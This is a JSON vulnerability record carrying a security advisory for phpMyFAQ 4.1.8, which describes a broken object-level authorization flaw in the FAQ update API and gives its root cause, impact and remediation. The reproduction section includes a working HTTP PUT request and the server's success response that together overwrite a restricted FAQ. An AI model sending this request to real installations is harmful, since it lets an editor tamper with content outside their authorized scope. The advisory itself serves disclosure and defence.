{"schema":"threatline.record/2","record":{"id":"GHSA-j3px-r7cr-r26r","aliases":["GHSA-j3px-r7cr-r26r"],"summary":"BOLA: FAQ Update Bypasses Object-Level Authorization","details":"## Summary\r\n\r\nphpMyFAQ's `PUT /api/v3.1/faq/update` endpoint checks only the global `edit_faq` permission and does not enforce object-level authorization on the target FAQ.\r\n\r\nAs a result, an authenticated editor who cannot view a restricted FAQ can still modify it by supplying its ID.\r\n\r\n## Reproduction\r\n\r\nTested on phpMyFAQ `4.1.8` (commit `33fae25`).\r\n\r\nA restricted FAQ (`id=1`) was accessible only to an administrator.\r\n\r\nThe attacker account had `edit_faq` permission but could not view the FAQ:\r\n\r\n```text\r\nGET /api/v3.1/faq/1 → 404 Not Found\r\n```\r\n\r\nThe attacker then sent:\r\n\r\n```http\r\nPUT /api/v3.1/faq/update HTTP/1.1\r\nHost: localhost:8080\r\nx-pmf-token: <api.apiClientToken>\r\nCookie: PHPSESSID=<editor-session>\r\nContent-Type: application/json\r\n\r\n{\"faq-id\":1,\"language\":\"en\",\"question\":\"HACKED VIA BOLA\",\r\n\"answer\":\"<p>Editor modified a restricted FAQ</p>\",\r\n\"keywords\":\"\",\"author\":\"Attacker\",\"email\":\"attacker@evil.test\",\r\n\"is-active\":false,\"is-sticky\":false}\r\n```\r\n\r\nThe server returned:\r\n\r\n```json\r\n{\"stored\":true}\r\n```\r\n\r\nThe restricted FAQ was successfully modified.\r\n\r\n## Root Cause\r\n\r\nThe update path validates the global `FAQ_EDIT` permission but does not perform an object-level permission check for the requested FAQ.\r\n\r\n`Faq::update()` ultimately updates the record using its ID and language without applying the permission-aware filtering used by the FAQ read path.\r\n\r\nTherefore, possession of a valid FAQ ID is sufficient to modify an object that the authenticated user is not authorized to access.\r\n\r\n## Impact\r\n\r\nAn attacker with the delegated `edit_faq` permission can modify restricted FAQs outside their authorized scope.\r\n\r\nThis can result in unauthorized content modification, moderation bypass, and potentially forced publication of restricted or pending FAQs.\r\n\r\n## Remediation\r\n\r\nBefore updating a FAQ, resolve the target through the existing permission-aware retrieval logic and reject the operation if the authenticated user cannot access the target object.\r\n\r\nThe update operation should also preserve existing ACL/restriction state unless an explicitly authorized operation changes it.\r\n","categories":["Unclassified"],"product":"thorsten/phpmyfaq","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j3px-r7cr-r26r","source_modified_at":"2026-10-03T11:37:21Z","fetched_at":"2026-10-24T10:48:42.330819Z","package":{"ecosystem":"composer","name":"thorsten/phpmyfaq"},"range":"4.1.8"}],"fixed_versions":[],"cvss":8.3,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T11:37:21Z","modified_at":"2026-10-03T11:37:21Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j3px-r7cr-r26r","fetched_at":"2026-10-24T10:48:42.330819Z","source_modified_at":"2026-10-03T11:37:21Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T11:37:21Z","content_hash":"ef12acc1da08fb3254cfe1b7f0336cfa1fb1ecac7ae607491df94ca81e848a92"}}
